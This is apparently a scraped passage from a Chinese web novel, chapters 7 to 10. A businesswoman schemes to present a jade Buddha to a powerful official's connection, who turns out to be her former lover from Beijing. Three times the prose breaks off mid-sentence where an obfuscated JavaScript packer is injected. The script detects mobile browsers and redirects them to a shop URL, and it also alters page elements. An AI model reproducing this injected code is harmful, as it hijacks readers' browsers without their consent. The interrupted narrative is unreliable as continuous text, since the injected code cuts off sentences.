几乎找不到任何的棱角。 7. 第 7 章 白杨挑了个不太忙的日子,驱车到普度寺拜了拜。 这地方挺隐蔽,还要走一段山路,寺门前题着杨兆庆的两句对联:暮鼓晨钟惊醒世间名利客,经声佛号唤回苦海梦迷人。 她觉得这纯粹就是在扯淡,别人她不晓得,也不置喙,总之她白杨是不可能听里头敲两下钟,颂几句佛经就可能金盆洗手的。爱财到什么程度,这么讲,她死也得死在钱堆里。 她是世间名利客,却不是苦海梦迷人。 白杨把礼佛香恭恭敬敬插在三尊佛像下,释迦摩尼佛,弥勒佛,三世佛。 那时间段来的人很少,只有她一个香客,青灰的烟从眼前飘出,逐渐遮住面前的大半视野,这令她感到心安。最好佛祖这时候往下看,只看得见她一个人,把她的心愿给了了。 敬完香出来,小沙弥问她要不要卜卦求签,一次二十。 白杨说好,第一次,抽了个下签。 姻缘不顺,气运不佳。 她大手一挥,给人一张红色的纸币:“接着抽。” 一直抽了五次,终于抽到上上签,白老板也终于心满意足地离开。 * 溪山听信程砚的话,有事没事都要带着耳机听粤语歌,听完陈奕迅听杨千嬅,听完杨千嬅听beyond,还真有点效果,也能跟着听懂两句别人讲话了。 可生活还是没怎么改观,她真切体悟到了一个道理,现在都是说得好听才叫助理,以前是叫跑堂的,打杂的。 和她以前做主持人时的风光简直不能比。这种落差每次上班时都要折磨她一回,尤其在走进公司时,同事礼貌地打招呼对她说:“雷好啊。” 她也要回敬一句不那么标准的雷好啊。 进了公司,就是开始端茶,倒水,叫人,送东西。 今天另多了一项。 台里来了位人,站在忙碌的演播室外,没什么人理会,她正好空闲了一瞬,挺有眼力见的迎了上去:“先生,您找谁?” “找你们副台长。”他淡声说。 溪山听这意思,不敢怠慢,立马把人请进了会客室,倒上茶,问他:“先生您贵姓,我们副台长可能在忙,我去找人跟他说一声。” “姓高。”高先生说,不着痕迹地打量了眼前的姑娘一眼,瞧着二十四五岁,挺年轻的样子,一双眼睛生得很好看。 看着有点眼熟。 溪山很快回来,她这种级别还不至于能跟副台长搭得上话,都是听别人转达,于是告诉坐在那儿的高先生说:“他现在在忙,您要是着急的话可以留个电话。” 高先生说不急,在这儿等就好。 溪山点点头,转身要走,迈出步子时听见高先生问:“小姑娘,我们是不是在哪儿见过?看你听熟悉。” 溪山转过来,有点苦涩地开口:“以前在北京那边的电视台做过主持人,您可能看过我的节目。” 说到这儿,高先生终于恍然大悟般的想起,刚想说自己太太看过,出口后却又变了:“是,以前在电视上见过,叫溪山是吧?” 溪山点点头:“是叫这个名字。” 高先生又说:“一生不负溪山债,百药难治书史淫。名字起得好啊。” 她也跟着弯了弯嘴角,说很少有人知晓辛弃疾的这句诗,您是第一个说出我名字由来的。 “怎么不在首都,跑到澄州来了?” 溪山把情绪隐藏的很好,告诉他说:“家里出了点变故,换个环境,也换换心情。” 恰逢这时正好有人在叫她的名字,溪山同高先生告了辞,转身又去端茶倒水了。 高先生挥手说去吧,在她关上门之后,拿出手机伸手打了个电话。澄州台的副台长蔡冕不到两分钟就匆匆赶了过来,见到他,毕恭毕敬同他握了手:“高厅长,您来了。怎么也不提前知会一声?” 高望津干笑两声,让人听不出是喜是怒:“这不是刚好路过,突击巡查巡查我们澄州台的台风台貌吗。” 蔡冕也捏不准人家的心思,只能陪着也干笑两声,问道:“那您巡查的如何,还满意吗?” “台里的各位同志都很忙碌,没有懈怠的,这很好。就是太过封闭了,都在自己的世界里,做自己的事……”他说道,顿了一下,又说:“其实我们对个别从新来的同志也该给予相应的机会,重用新力量。” 蔡冕对他的前半句话战战兢兢,后半句话云里雾里,只能一直点头说是。 好在高望津很快绕过去这一茬,来这里也不是光品尝品尝这里的茶的滋味如何的。 “省文化厅内部商讨决定,各市级电台得重心还是放在深耕本地文化资源上,发展特色文化,占领舆论高地。厅里是这么打算的,澄州的历史悠久,你看能不能做个节目,宣传宣传本地文化。” 蔡冕的脸色有些缓和,不那么沉重了,仔细考量了下他的话:“这个应该没问题。” “不要说应该。”高望津说,“没问题就做,有问题就解决问题。我等你给我答复。” 高厅长喝了一口溪山倒的茶,站起身往外走。 蔡冕跟在后面亦步亦趋地送他离开,等终于把这尊大佛送走,才松了一口气。 转身回去,蔡冕就把台里的人训斥了个遍:“高先生刚才就站在这儿,没一个有眼色的?都长眼睛干嘛呢!” 众人低头,没一个敢说话的。 溪山在一边心里七上八下,也没想到这个高先生的分量会这么重,值得副台长大发脾气。 等他骂完,沉寂了几秒,像是平复好了心情似的,又问一句:“刚才高先生来,是谁接待的?” 她的心里咯噔一下,慢慢抬起头。蔡冕很快注意到这边的境况,看过来,是个生面孔,没怎么见过。 难道这就是高厅长说得新力量? 他在心底咂摸咂摸味道,对这个新人嘉奖了一番,回去让人把她的资料调过来看。 溪山今天下班都比平常早了点,别人没再扔给她那么多文件,台本整理。上司的态度很明显地在同事里的态度上体现了个十成十,连平常话都不说一句的都开始给她打招呼了。 她心情挺好,走出澄州台的大楼,接到了白杨的电话。 “溪山,你下班了吗?” “刚下班,怎么了?” 白杨那边响起“咔嚓”一声,又在点烟了。等人抽上,才开始说话:“我去接你,跟我见个人。说不定能保你仕途通畅。” 她的脑子还有点懵:“见谁啊?” 白杨在那边打哑谜:“见到了就知道了。” 她的车很快开过来,和上次的不一样了,这回是低调的白灰色,方向盘上的标志却十分亮眼。 溪山认得这车,保时捷Panamera,百万打底。她坐上去,扣好安全带,笑着说了一句:“我们白老板现在还真是,蒸蒸日上。” “还成,还成。”白杨抽了一口烟,脸上笑逐颜开,跟她说起要见的人的来历:“咱们这回去见个我的金主,那老姐姐挺厚道,到时候会说点话,哄高兴了,往后金银垫脚。” 溪山还是不太习惯她现在这大开大合的江湖气质,忍不住问:“就这么厉害?” “厉害的倒不是她,是她先生。”白杨说道,“那可是厅长,你们台长的顶头上司,到时候哪还能让你在做劳什子助理,受那窝囊气。” 溪山抓着安全带的手紧了紧,想跟白杨道谢,又怕矫情,最后只说:“白杨,我真是八辈子修来的福气,能有你做朋友。” “跟我见什么外。”白杨把车速降下来,打开车窗,往外抖了抖烟灰,“前几年我被人骗,穷的饭都吃不起,还不是你接济我的?” 白杨回忆起那些光辉岁月,忍不住多说了两句,说起最开始的那段时间:“刚开始就是没钱,我当时差点没撑住,想给陈西原打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283151|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话回去,他那儿可是个实打实的安乐窝。” “白杨,他那样的人。”魏溪山一提到他,声音就有些凛然,“说句实话……” “我知道,”白杨打断她,“我们高攀不起。” “陈西原如果真是性情中人也就罢了,再怎么样他不会想要辜负你。可是你想想,连生死都漠对的人,你在他心里的分量,又能有多重?” “我知道。” 她的声音有些喑哑,缓缓开口,像卷老旧的录音带,撕扯着转动。艰涩地吐出最后言语。 一路上再无话,白杨抽完这根烟不再抽了,高太太并不喜欢烟味,她大开着窗,让味道散出去。 车子在高太太家门前停了下来,白杨按响了门铃,来开门的是小安,高太太的儿子。她很喜欢白杨,看见是她,眼睛都亮了,大着嗓子朝里面喊:“妈,白杨阿姨来了!” 说完,小安就拿着两双拖鞋摆在她们面前,白杨和他介绍:“小安,这是溪山阿姨。” “溪山阿姨好!”他很有礼貌的叫了一声。 房间里还是隐隐约约有麻将碰撞的声音传来,高太太只简简应了一声,估计是又打上了头。 她们没着急上牌桌,而是被小安拉到了客厅去做手工作业,根据美术书图册上的步骤,剪纸,粘贴。 高太太叫了白杨一声,她应道,让溪山先陪着小安做作业。 “来来来,白杨,你来陪我打一局,她们几个都没你打得好。” 有位太太嗔怪着撅起嘴:“文秀姐,哪是我们不会打,是你太厉害了好伐?” 高太太被哄得笑开了:“那你就好好看着学学,争取也能把我杀个片甲不留。” 屋内众人都笑了起来,白杨也跟着在笑。 她今天穿了一身月白色缎面旗袍,长至脚踝,蝴蝶扣低开叉,忽略掉周身淡淡的烟味,整个人端庄的不像话。可唯独腰间做了收拢,衬出她盈盈腰肢。腰部绣一朵莲花,让人忍不住去窥伺内里的动荡。 为了衬这身衣服,她今天盘了头发,用一根簪子簪住,笑时耳边的翡翠耳坠也跟着来回晃动。 高太太很快注意到这对坠子,连牌也码了,定下来看她:“白杨,你这对坠子没见戴过,新得的?” 她如是说:“前几个月不是跑了一趟南京,在那儿拍的。” 谁知道这话一出来,高太太彻底激动了,猛地拍了一下大腿,桌上人都神情各异地看着她。 她随即说:“早说你去了啊,我们家老高前两天还跟我打听着呢,你做的就是这生意,今天我就想问你有什么门路,这不巧了吗。” 有人问了:“怎么回事啊?” 高太太拿出手机,翻出一张照片来,递到白杨跟前:“你看看,南京那场是不是有这块玉,记得是谁拍走了吗?” 众太太也围了过来,惊叹着照片上这块玉,半只巴掌大,上面雕着弥勒佛的像,棉化的特别漂亮。 白杨点点头:“记得,这块玉还是压轴的呢,缅甸木那场口的,雪花棉,最后成交价好像是一百七十多万。怎么,高太太您也瞧上这块玉了?” 高太太哎哟一声:“我是喜欢,这样的料子不多见了,可也不是我要。是我们家老高,他要拿着这块玉借花献佛呢。” “谁能在我们高厅长跟前称一句佛啊?” 高太太暗笑两声,声音不自觉压了下去:“不妨说给你们,这佛啊,打北边来。” 白杨的眼色沉了沉,听见高太太又开始问她记不记得是谁拍走了,回过神,说道:“左不过圈子就这么大,我回头跟您留点心,打听打听。” “好好!” 房里的女人在这边吵闹着,没注意到大门的门铃正响了起来。 小安的手工模型正做到关键部分,溪山就站起身走到门前,打开了门。 迎面是一张熟悉的脸。 “高先生?” 8. 第 8 章 高望津也愣住了,没想到在自己家能看到魏溪山。 还没等他问出口,小安见是爸爸回来了,立马站起来跑过去,抱住他的腿,甜甜地喊了一声:“爸爸!” “这是溪山阿姨,白杨阿姨的朋友。”他拉着人介绍。 高望津闻言,装作不识,同她点了点头:“你好。” 溪山不晓得他为什么装作不认识一样,但也没有拆穿,愣了一下,很快接上话:“高先生您好,我叫魏溪山。” 溪山不知道,这种隐秘的,不为人知的,才更让人血脉贲张,欲罢不能。尤其是针对于他这样平日里衣冠楚楚惯了的人,欲望被压抑久了,往往一点就着。 燃烧起来就是烈火蚀天。 男人温和应声,随后就牵着儿子的手去陪他做手工。路过溪山身边时,不着痕迹地看她一眼。小姑娘穿了件职业装包臀裙,长度正好到膝盖上面一点,一双嫩白的小腿露在外面,从黑色的裙间倾斜而下,仿佛一件浑然天成的艺术品。 高望津的心底涌现了一个词,好玉不雕。 房间里的人笑声过去,听见外面的动静,纷纷走了出来,白杨走到溪山面前,牵起她的手跟高太太介绍:“这就是我那朋友,魏溪山,您看看眼前是不是比电视上更漂亮?” “是是,比电视上还漂亮。”高太太把目光挪向高先生,“老高,这是白老板的朋友,现在好像是……在澄州台工作吧?” “我们刚才见过了。”高望津说,“文秀你也是,净顾着打麻将了,小安的手工都是人家魏小姐帮忙完成的。” 房里的几位太太笑两声:“人家打麻将图一乐,文秀姐打麻将是来搜刮民脂民膏来了。” 几个人笑了两声,随即告辞:“行了,高先生既然回来了我们就先撤了,改明儿再来找文秀姐切磋。” 白杨和溪山留下,四个人又上了一趟麻将桌。 一圈麻将,说两件事。 一是玉,二是溪山。 高先生先提起来:“以前净跟着文秀看魏小姐的节目了,今天第一次见到真人,比电视上更漂亮啊,怪不得文秀喜欢看你节目。” “您过誉了。”溪山温和一笑,她眉眼浓厚,载满风月。 “哪有,澄州台能请到你是揽到贤才了。” 他抬手码牌,并没有去看她,声音也不咸不淡的,像是客套话。可既然认下了贤才这两个字,也差不多就是成了。 第二件事是玉,高太太提起,白杨又将在牌桌上的话说了一通。 这局牌打完,该说的事已经说尽了,白杨和溪山礼貌告辞。 上了车,白杨一直没说话,忍不住点了根烟抽。 溪山沉默良久,问起了高先生:“白杨,这位高先生什么来头?” “他呀,外头人都叫高厅长。”白杨有些心不在焉地说:“比你爸级别高多了。” 溪山的脸色立马有点垮了下去。历经一遭她爸那事,她委实是不太想跟这群戴乌纱帽的人扯上什么关系。 但这是白杨的心意,也是白杨的关系,她不太好说什么。 更何况,万般皆是命,半点不由人。她现在在台里的处境并不太好,如果真能得他帮助,也是条出路。 两人都挂着心事,白杨的烟一根接着一根抽,直到把溪山送到家门口,仿佛下定了决心,烟头狠狠在控制台上捻灭,扔进窗外的垃圾桶。 溪山问她:“有什么烦心事?” “不算烦心。”她说,“就是要做的事,可能有点不厚道。” 溪山皱了皱眉,是从高家出来开始的,那就只有那一件事了。她开口问:“是和那块玉有关吗?” “实话跟你说。”白杨舔了舔留在唇上的烟丝,继而道:“那块玉现在就在我手上。” 南京那场拍卖会,拍下那块玉佛的不是别人,就是她。当时江迎跟她一起去,她这盯着些小物件,大东西都是他来举牌。 溪山的呼吸一滞,有些不可置信,听她继续说。 “高家要巴结人,我也得往上走。与其借了别人人情,还不如我自己到那尊佛前露回脸。大不了到时候——捎带手提一下高先生。” 这份恩,也就是谁占大头谁占小的事。 魏溪山拧着眉,奉劝她:“白杨,这种事做不好,到时候再捅到高先生高太太跟前,可不那么好收场。你也知道这道理,玩火的都是先烧自己。” “你说的我都懂,让我好好想想。”白杨道,“更何况,我连见着上头人的门路都没有呢。” 她不再多说什么,只交代一句:“你慎重。” 等白杨的车疾驰而去,溪山的心脏跳的有些厉害,她不知道什么时候起白杨变成了这样子,以前没有的东西都有了,狠劲,闯劲,蛮劲。还有赌劲。 曾经那小姑娘,可不会像现在这样……处处钻营。 白杨在车上抽了半包烟,想明白了。这年头,撑死胆大的,饿死胆小的,谁背地里不耍点阴招? 她回到家,抬手给程砚打去了电话。 程砚很快接起来:“白老板,找我有事?” 白杨问道:“高厅长的司机是不是跟你挺熟的?” 程砚做这一行,接触的人多,他也尤其擅长结识,凡是日后可能用的上的都收入囊中。 他一听这话,立刻警觉起来:“主意打到高望津身上了,白老板你胆子挺大啊。” 不管是当官的还是做生意的,身边两心腹,必定不是下属之类,而是司机和秘书。敢在这上面动心思,等于是要撬人家老底,这种买卖风险太大,程砚做不了。 “程砚,我跟高望津没仇怨,还得指着他混饭吃呢,做不了什么出格的事。” “你也知道你得指着人混饭吃,咱俩认识那么多年,我跟你当朋友就是指着你一人得道我跟着鸡犬升天的,您倒好,可别给我拉下水。”程砚的声音有些冷肃,直接给人挑明:“我最多给你点他的资料,剩下的你自己爱怎么弄怎么弄,别说是从我这儿出去的。” “规矩我懂。”白杨说。心底忍不住暗骂了一句,大爷的,做律师的比她做买卖的还精。 白杨很快收到了程砚发来的资料。得亏是做律师的,资料比旁人整理的都要细,她遍揽了一遍,很快捏住了人的七寸,给江迎打去了电话。 怪不得她,只能怪这司机手脚也不干净,沾上了赌,那玩意儿可是不见血不收手啊。 “江迎,你回头找个弟兄,照我说的去做……” 江迎给她回复是在第二天,套到了高厅长那几天的行程,其他都没什么特别的,就是有一场,满汉楼。他塞了点钱给那里的服务员,问出了点东西,说是里面一堆人,还叫了人拉琴吹箫,排场不小。有两个人先离开,一男一女,女的称呼那个男的陈先生,那女的长得挺漂亮的,是她签的单。 叫苏幸,公司抬头是蓝玉集团。 蓝玉集团,澄州的大企业啊。这位人物分量可真不低。 她这条野狗,也得抢口食。 白杨第二次给程砚打过去了电话,程砚都有点怕了这位姑奶奶:“您又有什么吩咐?” “程砚,我记得你还兼着蓝玉集团的法律顾问是吗?” “怎么还扯到蓝玉集团了,我告诉你,李善文可也不是什么善茬,你敢在太岁头上动土,他到时候能往死里整你。” 白杨阴恻恻一笑:“富贵险中求嘛。” “富贵的是你,可他妈险的是我。”程砚忍不住骂了句脏话,叹口气,无奈说:“最后一次,你要干嘛?” “这回不用那么大动干戈,把你们公司苏幸的联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283152|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式给我就成。” 这倒不是什么难事,有苏幸联系方式的人那么多,查也查不到他头上。 保险起见,白杨用另一部手机给苏幸打过去电话。 * 陈西原这两天挺没趣的,想起来饭局上那姑娘,于是叫出来,陪着吃顿饭。 姑娘似乎也挺闲的,无论什么时候都有空。 这么几天,叫她吃饭都要成习惯了。他是外乡的食客,而她是他的引路人。 苏幸挺爱说话的,他也喜欢爱说话的姑娘,不至于让这餐饭太过无聊。 次数多了,到后来只演变成一句:“有空吗,去接你。” 她回好,后面缀上一个可爱的表情。 陈西原的车于是就会停在她们公司楼下,姑娘下了班,兴冲冲地跑过来,到他车跟前,敲敲副驾驶的窗户,俯身过来问:“你是在等我吗?” 他忍不住笑一声:“不然呢?” 她就又兴冲冲地坐进副驾驶,跟他说知道那家餐厅好吃,他就照着她的指示一路开过去。 那天去的是座茶楼,澄州的早茶文化尤其盛行,滋味也确实不错。苏幸一早定了包间,坐在那里,能看见远处的春山。 “苏幸,”陈西原交出她的名字,看她抬头一愣,而后问到:“今年多大了?” 苏幸说:“二十五岁,刚研究生毕业。” 陈西原点点头,不再说话。 她有点拿捏不准他在想什么,于是小心翼翼地开口问:“问这干什么?” “没什么。”他唇角微扬,像极了蛊惑人心的撒旦,“这不是怕苏小姐嫌我老。” 她的脸上顿时泛起一阵绯红,害羞的不知道说什么。陈西原欣赏完她的窘态,大笑两声,好心情的隔着窗户看景。 苏幸的电话是在这个时候响起的。 她拿出手机,是一串不认识的号码。 “苏小姐吗?”那边问。 “我是,请问您是……” “我是高厅长这边的人,我们高厅长想问一下,陈先生最近有没有时间,想和他约着见一面。” “这样啊。”苏幸说着,抬起头看了对面的陈西原一眼,“你怎么不直接去问他?” 那边停顿了两秒,很快给了她答案:“我可不敢轻易打扰陈先生,您和陈先生的关系,不都是心知肚明吗?” 这话成功把苏幸哄高兴了。 “好,我问问他。”苏幸捂住听筒,抬头问陈西原:“陈先生,高厅长那边想和你见一面,问你什么时候有时间。” 陈西原懒懒抬起眼:“今晚吧,地方他定。” 苏幸转达过去,记下地点,挂断了电话。 再抬起头看他的时候,目光里多了几分的依依不舍:“办完事,你就要回北京了吗?” 他面无表情地点点头,伸出手,抚上她的半边脸,拇指在眼下按了按,同她说:“怎么着,舍不得我,要不就跟我一起回北京吧?” 这个动作极其暧昧,交换着彼此的温度。 她的眼睛亮了一瞬,很快又黯淡下去,无奈地说:“我还有工作啊……” 陈西原没再往下接话,最后告诉她一句:“找时间来看你。” 苏幸的心有点七上八下的,陈西原这个人,实在让人摸不准。 她斟酌片刻,又大着胆子问了一句:“你回北京之后,还会记得我吗?” 陈西原笑一声,天南地北跟人胡扯:“我虽然年纪大点,可还不至于老年痴呆呢。何况苏小姐这么漂亮温柔的姑娘,想忘都难啊。不得想的人夜不能寐——孤枕难眠?” 他把话说得浓情蜜意,可是语气里还是冰冰凉凉的,半点心思不放在上面,好像是专门不让人信的。 苏幸瘪瘪嘴,这样的男人,她第一次见。 9. 第 9 章 那家餐厅的名字叫两山青,陈西原听着,还挺有意思的。 他是晚上七点到的那地方,入目却只有一道矮窄的小门,木质的,很像古时候的小偏门。 下了车,才看见门前站了两个人,穿一样的衣服,应该是这里的侍应生。一个人走过来,问他:“您就是陈先生吧,把钥匙给我就好,我去帮您停车。” 另一个侍应生为他引路。 推开那扇木门,入目是一排青石板路,澄州多雨,铺路的石板已经被浸润成深绿的颜色,仿佛还在往外透着丝丝雨香。 走过这一段曲折羊肠道,然后是一条游廊,再向前走,才能进到里屋。 侍应生打开一扇房间的门,往前做请的手势,对他说:“陈先生,就是这里,我们老板在等您。” 老板?不是姓高的让他来的吗。 陈西原心下疑惑,也想见见是哪个牛鬼蛇神敢扯高望津的旗子盘算他,推开门,两厢对望的时候,都愣在了那里。 白杨没想到,所谓陈先生,原来是从北京来的爷。 “白杨。”他轻轻叫出口,语气不冷不热。 “是你。”这是第二句。 她莫名地感到一种黏腻和胶着,不知从何而来,裹遍她的全身,慢慢收紧,让人无处喘息。终于,白杨找到源头,那是他的目光。 沉沉的,压在她脊梁上,让她不得不为之折腰。 陈西原径自扯了椅子坐下,和她隔着一整张圆桌相觑。他毫不顾忌地打量着她,长发微卷披在肩后,上半身是黑色丝质衬衫,深V领口,下摆全部拢进暗红色半身裙里。 他的目光由下至上,掠过她狭窄的腰,掠过她胸前至脖颈大片的莹白,掠过她用以点缀的红色四叶草项链。最后落在那张曼丽缱绻的脸庞上。 那曾经属于他。她的每一寸,都曾是他的领地。 而现在不是了,她的周身都提醒着他,他的白杨,早已改头换面。 陈西原的呼吸暗自沉重,沉痛,他心里有一种莫名的郁结,从见到她的那一刻而始开始团团缠绕,就连他,也被困在其中。 妖女。她这个,妖女。 圆桌上没有任何餐食,只有一方精致的盒子,摆在他的面前,无疑是给他的献礼。 白杨却开始转动圆桌,把那个锦盒转到自己这边。 见到他的那刻,她意识到两件事。 第一件,陈先生就是陈西原,北边来的佛是北京来的佛。 第二件,这礼没法送,她还是要把情分给高先生高太太。 陈西原的眼神落在那个盒子上,思绪被扯回来了一些。白杨就是那个挂羊头卖狗肉的老板,那么她是怎么和高望津扯上关系的,是怎么从苏幸那儿算计他的,又是怎么知道他和苏幸这点不清不楚的关系。 高望津,李善文,苏幸。 白杨在他们中扮演个什么样的角色。 好姑娘,有能耐。澄州这滩子浑水还有她的搅合,真是够让他意想不到的。 “陈先生。”白杨先开口,站起身,拿着包往外走,“我们今天就当没见过。” “不成。”他略一伸手,直接扣住了她的手腕,让她再难行进一步。 “费那么大心思钓我,就这么让我白跑一趟?”陈西原侧眼看过去,对上她的目光,唇角凝着些笑,“更何况,杨杨,你就半点不念我们往日的情分了吗?” 白杨被迫转过头,他仍旧坐在椅子上,一副风月不相关的姿态。 “陈先生也说了是往日。您博学多才,应该知道一句话,叫今时不同往日。” “是,今时不同往日。”他轻哂,笑像是从嗓子里溢出来的一样:“我们杨杨现在都成老板了。” 白杨没有接话,任他握着手腕,不挣脱,静静地站在那里,等他接下来的发落。 他们就这么猝不及防的相遇,谁都没有打过腹稿,要说的话卡在喉咙里,言不成句。 他这么桎梏着她,却也不知道该说什么。 再续前缘,促膝长谈,都不合适在这个时候。 她像是料定了这一点,于是静静地等着,等他握不住的那一刻,等他不得不放开手。 陈西原笑笑,开口说话:“我没猜错,盒子里装的东西是玉吧。南京那场拍卖会,木那雪花棉弥勒佛。你把我从姓高的那儿截胡,是也想卖我这个面子?” 他说完,放开了手,点燃一根烟咬进嘴里。而白杨还没走。 “我来澄州没什么人知道,找玉的事也没什么人知道。算来算去,也就是那天饭局上的人。”他接着说,“他们可都是高望津的门下,敢碰他的瓷,白杨,跟我说说,谁给你的胆子敢和高望津李善文叫板,谁在背后护着你?” 她轻嗤一声,也摸出了一根烟点燃,一只手环抱在身前,另一只手夹着烟。 “陈先生以为是谁?”她问道,声音凉丝丝的,像北京初秋的雨:“你是觉得,我现在又该是谁的傍尖儿,谁的小蜜?跟当初的我们俩似的。” 陈西原磕了磕烟灰,侧眼望她:“我没这个意思。你也别往自个儿身上泼脏水,咱们俩当初是正正经经在一块的。那几年我就你,没别人。还是说,你有三儿?” 白杨的嘴角抽了抽,不知道说什么好。 “有靠山护着是好事,怕到时候让人黑了都不知道坟在哪儿。”他道,而后放浪一笑:“要是没有,我也能给你靠靠。” “谢谢您的好意。”白杨深吸了一口烟,缓缓吐出烟雾,“不过不用了,靠山山倒,靠人人跑,还是靠自己来的实在。” “我跑了吗?”他抖了抖烟灰,最后干脆将整支烟按灭在桌子上,站起身走向她。她站在原地,平静地看着他那张脸越来越近,对他的侵入毫不畏惧。 他移步到她面前,距离只有两寸。 夹烟的手指向上,指背从白皙的脖颈往下一路划过去,重重地,品味她滑腻的触感。一路到布料最下处,停住,重重点了一下。 “杨杨,我没跑,是你跑了。” 白杨抬眸看向他,六年时间都不足以更改他的容颜,她收起多余的情绪,眼神平静,再没什么别的东西:“那又怎么样呢?陈西原,我打苏幸的电话应该也不是什么空穴来风,你现在有你的阳关道,我有我的独木桥。你我各走各的,相安无事。我也只希望你念在往日的情分上,别在高望津和李善文跟前把我这点花样捅出去,我在澄州根基不深,玩不过他们。” 话说到这份上,基本没什么可聊的了。 她的身上满载烟味,和他抽的是同样的,黄鹤楼1916,这么看,他们好像又有什么部分交融在一起了。分不清谁是谁的。 陈西原侧过身,给她让出一条阳关道。 白杨说多谢,抬脚走出了这扇门。 他侧眼看过去,白姑娘的裙摆跟朵花似的,摇摇曳曳地,在他心底晃荡几下,一溜烟就不见了。 要人命。 陈西原这个人,什么都不信,不信佛不信道,甚至不信道德不信王法,唯独信命。他晓得前几天怎么那么想她了,醒着想,梦里也想。这是命在给他点拨呢。知道他来澄州,料定有此一劫。 谁都不是无缘无故走到这一步的,那么既然走到了,也不能无缘无故地离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283153|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白姑娘这六年瞒着他做了不少事,他得清楚清楚,老话讲,知己知彼,百战百胜。 手机震动了两下,他拿出来看了眼,是陈西城。 “喂,哥。” 陈西城很少打电话,有什么事一般都是秘书转告。这个电话这时候打来,估摸着有什么事。 他预感的不错,陈西城第一句话就是:“西原,这阵子先别回北京了。形势比我想的要紧,你不在北京,那都是小打小闹,摸不到实处,你在北京,谁知道到最后会不会把你捅出来。去美国吧。” “美国……”陈西原舔了舔嘴唇,说道:“陈西城,忘了告诉你,美国也容不下我了。” 电话那边静了两秒,才又发出声音:“你自己看着办。” 说完这句,陈西城就挂断了电话。 陈西原盯着手机页面看了看,走出去,外面已然下起了雨,侍应生给他打起伞送他出去,雨落在青石板上,滴答滴答的,跟唱小曲似的。 陈西城让他自己看着办,留在澄州,也未尝不可。 他侧头问旁边举着伞的侍应生:“这地方是你们白老板的?开了多久了?” 侍应生如实回答:“有两年了吧,一般人找不到这地方。” 换句话讲,这里就不是给一般人吃的。 “你们老板平常过来吗?” “经常过来,不过都是在这里跟别人一起,很少自己来的。” 陈西原点点头,没再继续往下问了。 好歹在一起过三年,他算是了解这姑娘,嘴上那么说,却是绝对不会做别人的什么傍尖儿小蜜的,这纯是拿话激他。 那么她靠着自己,一个人,能在澄州打拼到这地步确实是不容易。必定也吃了不少苦。说真的,他是够佩服她。 这样白手起家的一代,不是他这种二世祖比得了的。 侍应生一直把他送到车上,才举着伞离开。 陈西原在车上又点了一根烟,抽烟的空当,手机再次响了起来,这回是杨珏时,比他还二世祖的二世祖。吃喝玩乐不学无术,基本上就是他的代名词。 他接起来,这小子没什么好屁,开口问他:“怎么样西原,去澄州那么多天有没有什么艳遇啊?我听说南方妞可比北方妞带劲多了……” 陈西原说:“确实是有艳遇。” “你还记得白杨吗?” 杨珏时沉默片刻,而后恍然大悟般的哦了一声:“想起来了,那个小冤家啊。” 在北京的那段日子,白杨和杨珏时特别不对付,两个人谁看谁都不顺眼,杨珏时觉得白杨拜金,虚荣,就喜欢图钱。白杨觉得杨珏时花心,牛鼻子每天要顶天上去。 他不是没在两人之间说和,问白杨,两人名字里都有个杨,也算沾亲带故,不至于仇视成这样吧。 白杨咬着牙对他说,北京和东京都还有个京呢,那能一样吗? 那时候她只是伶牙俐齿,招人疼爱,不在他身边的这些日子,外头的风雨打磨雕刻,还给他一个极其陌生的白杨。 说是脱胎换骨也不为过。仅有那一副皮囊几乎没怎么变化,里头的肉,肉下的骨,全都变换了模样。就是不晓得,骨头里那颗血淋淋的心脏变没变。 他得拿刀子剜出来看一看。 “都七八年了吧,那姑娘现在怎么样,是不是沦落到大街上讨饭呢?”杨珏时嘴里还是对她没什么好话。 “你想多了,我们白姑娘现在可是……”陈西原顿了顿,从脑子里翻找出一个合适的词,“风生水起。” 杨珏时嘁了一声,隔着电话大喊:“等着,等我去砸场子!” 10. 第 10 章 白杨这一回真像见了鬼,出门,开出去好长一段距离,躲在车里颤着手把烟拿出来往嘴里猛吸。 像做了亏心事一样。 到底是什么亏心事呢,是背着高望津和李善文去撬他们的人吗? 不是,绝对不是。 虽然白杨打心眼儿里也觉得这么做不那么厚道,可她做的是生意,又不是慈善。厚道不厚道八百年前就被抛诸脑后,她要是跟别人讲厚道,一早也就被淹死在海里了。白杨承认,包括她自己,这圈子里的人大都是在法律底线之上,唯利是图,为所欲为。 那是在心虚什么呢? 